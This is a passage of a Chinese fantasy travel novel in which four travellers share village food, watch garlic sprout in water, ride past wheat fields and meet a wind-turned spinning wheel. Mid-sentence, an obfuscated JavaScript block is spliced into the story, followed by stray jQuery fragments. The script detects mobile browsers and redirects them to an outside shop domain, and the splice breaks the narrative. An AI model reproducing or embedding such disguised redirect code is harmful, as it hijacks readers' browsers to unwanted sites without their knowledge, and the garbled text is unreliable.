格蕾塔吃着咸鸭蛋。鸭蛋是春天腌的,腌了快一年,蛋黄腌出了油,红亮亮的,用筷子一戳油就从蛋黄心里冒出来流到米饭上。她把蛋黄挖出来拌在饭里,蛋清撕成小块放在饭面上。咬一口,咸蛋黄的油脂香和米饭的清甜混在一起。“主教说得对。豆子是豆子的魂魄,鸭蛋是鸭蛋的魂魄。腌过的鸭蛋,魂魄更浓。”
艾莉西亚在吃蒸萝卜。萝卜是今天刚从地里拔的,切成厚片蒸透了,上面浇了一勺猪油和酱油。萝卜蒸成了半透明,筷子夹起来颤巍巍的。咬下去,萝卜的甜和猪油的香从舌尖上化开一直走到喉咙里。“伯爵领的萝卜没有这个甜。”
“霜打过的萝卜才甜。”村长给自己也夹了一片。“萝卜要等霜。霜不来,萝卜不甜。霜一打,萝卜急了,把地下的糖分全往根里送。人吃的时候,就是甜的,这是霜逼出来的。”
流栖灯把碗里的萝卜慢慢嚼完。霜逼出来的。茶园的茶农说,霜打过的茶叶,筋骨是甜的。桑园的妇人不这么说,但她做的事是一样的——冬天剪了老条,春天新条发得壮,要帮它把力气用在最该用的地方。陶窑的女人摔泥,摔到泥服了为止。灰树镇的老人把沾了灰的连翘倒进河里,河水带着它们往南流。她们都在做同一件事——把不好的东西去掉,让好的东西留下来。霜,剪刀,摔打,河水。都是同一只手。只是不一样的名字。
吃完饭村里人散了。村长把四个人安排在厢房里。厢房不大,土炕烧得热热的,被褥是今年的新棉絮的。窗台上放着一只粗陶碗,碗里养着一头蒜。蒜瓣泡在清水里,底下已经生出了白生生的根须,上面冒出了嫩绿的蒜苗,在油灯光里绿得扎眼。
流栖灯趴在窗台边看那头蒜。蒜苗从蒜瓣里抽出来,没有土,只有水。它也绿了。“它不用土也能活。”
“蒜是最好活的。”艾莉西亚也趴过来,下巴搁在胳膊上。“师母说,蒜的祖先在沙漠里。沙漠里没有稳定的土,只有偶尔流过来的水。蒜学会了只要有水就扎根,就发芽。不管有没有土。”
“那它以后还能种回土里吗。”
“能。蒜苗剪一茬,把蒜瓣种进土里,它就在土里继续长。它不怕从水到土,也不怕从土到水。它只要活着就行。”
流栖灯用手指碰了碰蒜苗的尖尖。蒜苗轻轻晃了晃。“只要活着就行。”
夜里流栖灯躺在热乎乎的土炕上。窗台上的蒜苗在黑暗里看不见,但她知道它在。根须泡在清水里,蒜苗朝着窗外的方向探着。窗外没有月光,但蒜苗知道光在哪边。她把白麻布从枕头底下摸出来摊开。桑园,剪刀,枝条上的芽点。桥头,老樟树,卖茶人的铜壶和炉子。蒜苗在粗陶碗里,白生生的根须,嫩绿的尖。她在蒜苗旁边写了一行小字:“它不怕从水到土。只要活着就行。”
第二天早晨离开桑落村的时候,村长往她们鞍袋里塞了四颗咸鸭蛋,一包腊鱼,两根霜打过的萝卜。“路上吃。萝卜生吃也甜。”流栖灯接过萝卜。萝卜是昨天刚从地里拔的,皮上还带着湿润的泥土。她掰了一小块生萝卜放进嘴里嚼。脆,凉,甜。霜打过的甜。
上马之后她回头看了一眼桑落村。炊烟正在升起来,青灰色的,在初冬的晨光里是笔直的。有人在生火做饭。有人在剪桑枝。有人在给蒜苗换水。
穗子迈出步子。阿灰在前面带路。长腿和红栎并排走着。四匹马的蹄声在官道上响着,往南。
从桑落村往南,地势越来越平。山退到了天边变成一抹淡到几乎看不见的影子,眼前是大片大片的平原。平原上种着冬小麦,麦苗刚从土里钻出来不久,矮矮的,嫩绿的,一行一行整整齐齐地铺到天边。初冬的风从北边吹过来,麦苗被风吹得伏下去又站起来,伏下去又站起来,像大地在慢慢呼吸。
流栖灯骑在穗子背上看着麦浪。麦浪是嫩绿色的,从马蹄边一直延伸到地平线。风大的时候整片麦田都在动,风从麦苗上面走过去,麦苗只是弯腰让风过去。风过去了,麦苗站起来。下一阵风来了,麦苗又弯腰。
“它们不累吗。”她问。
“不累。”玛丽玛丽的声音从前面传来。“麦苗的根扎在土里。风只能吹弯它的叶子,吹不动它的根。根在土里,它就不怕风。”
流栖灯看着麦苗一遍一遍地弯腰,一遍一遍地站起来。“那风什么时候停。”
“春天。春天麦子拔节长高了,风就吹不动了。风还是照样吹,但麦子高了壮了,风只能吹动最顶上的叶片。下面不动。”玛丽玛丽的手在阿灰的鬃毛上轻轻拍了拍。“人也是一样的。刚出门的时候风一吹就弯。走的路多了,根扎深了,风还是那阵风,但吹不动了。”
流栖灯把手按在白麻布的口袋上。从帝都到封印,从封印往回走。走了多少天了,她没有数。但穗子的蹄铁换过一次,阿灰的蹄铁也换过了。鞍袋里的东西从几块干饼和一只水囊,变成了满满一袋——种子,草药,茶叶,柿饼,苹果干,鱼干,腌萝卜,连翘,薄荷,草果,春茶,陶器。还有老桑妮的鸡蛋吃完了留下的空布袋,纺织妖精的节点在布角上亮着。她不知道自己算不算高了壮了。但她知道,风吹过来的时候,她弯腰的次数比刚出门的时候少了。
中午她们在一片麦田边的水渠上歇脚。水渠是人工开挖的,从远处的河里引水灌溉麦田。初冬是农闲,水渠里没有水,渠底干涸着露-出龟裂的泥面。渠埂上长着野枸杞,枝条细瘦,叶子落尽了,只剩下枝头一簇一簇干透的枸杞子。枸杞子是暗红色的,皱缩着,在灰白色的天光里像一粒一粒极小极小的火炭。
格蕾塔摘了一颗
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17617284|203862||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
放进嘴里嚼。干枸杞甜得很集中,水分蒸发掉了,糖分全浓缩在皱缩的果肉里。“南部没有枸杞。南部只有野生的。主教说枸杞是北方的果子,北方的冬天长,枸杞要把糖分攒得厚厚的才能过冬。”
流栖灯也摘了一颗嚼。甜,甜里带着一丝极淡的苦——是枸杞皮的苦,薄薄一层裹着里面浓缩的甜。“苦和甜长在一起。”
“北方的果子都这样。”格蕾塔又摘了一颗。“枣,柿,枸杞。皮是苦的涩的,肉是甜的。因为北方的冬天太长了,虫子也饿。皮不苦,虫子就把果子吃光了。苦皮是果子保护自己的办法。”
艾莉西亚摘了几颗枸杞放在掌心里托着看。暗红色的,皱缩的,在掌心里轻得几乎没有重量。“苦皮保护甜心。等虫子不吃了,冬天过去了,果肉烂在土里,种子就发芽了。苦皮保护的其实是种子。”
流栖灯把手里的枸杞放进嘴里嚼完咽下去。苦皮,甜心,种子。她想起陶窑女人说的话——从土里要来的东西,要跟着人走远路。走远了,土才高兴。枸杞也是从土里要来的。它走了很远的路——从北方的冬天走到南方的春天,从一个过路人的手走到另一个过路人的嘴。它的种子会跟着人的脚走到更远的地方去。
她从口袋里拿出白麻布,在水渠这一页画了野枸杞——干枯的枝条,枝头一簇一簇暗红色的果子。
下午官道穿过一座没有名字的村庄。村子很小,只有七八户人家,房子是土墙茅顶,紧紧地挤在一起像在抱团取暖。村口有一盘石碾,石碾上蹲着一只花猫。花猫在舔自己的前爪,舔得很认真,趾缝里每一根毛都舔到了。听到马蹄声它抬起头,绿眼睛看了她们一眼,然后继续舔爪子。
村子静悄悄的。有人,人在屋里。初冬的午后太阳斜斜地照在土墙上,把墙面的裂纹和稻草茬照得清清楚楚。有一户人家的门半开着,门里传出纺车的嗡嗡声——风从门缝里钻进去吹动了纺车轮。纺车自己转着,嗡嗡嗡的,像一只很大很困的蜜蜂。
流栖灯下了马走到那扇半开的门前。门里是一个小小的堂屋,迎门摆着一架纺车。纺车是木头的,轮轴磨得光滑发亮,锭子上还缠着半截没有纺完的棉条。风从门缝里钻进来吹动轮子,轮子转着,锭子跟着转,棉条在锭子上慢慢捻成线。但没有人坐在纺车前。纺车的主人大概去灶房了,或者去后院喂鸡了。她把纺车开着,让风替她纺一会儿。
流栖灯在门槛上蹲下来看风纺线。轮子转得不快,风大就快一点,风小就慢一点。棉条从锭子上拉出来捻成细细的线,一圈一圈绕上去。没有人手扶着,线纺得不均匀,有的地方粗有的地方细。但它确实在纺。
灶房里出来一个年轻妇人,手里端着一瓢米。看到门口蹲着个人,愣了一下,然后笑了。“我当是猫呢。”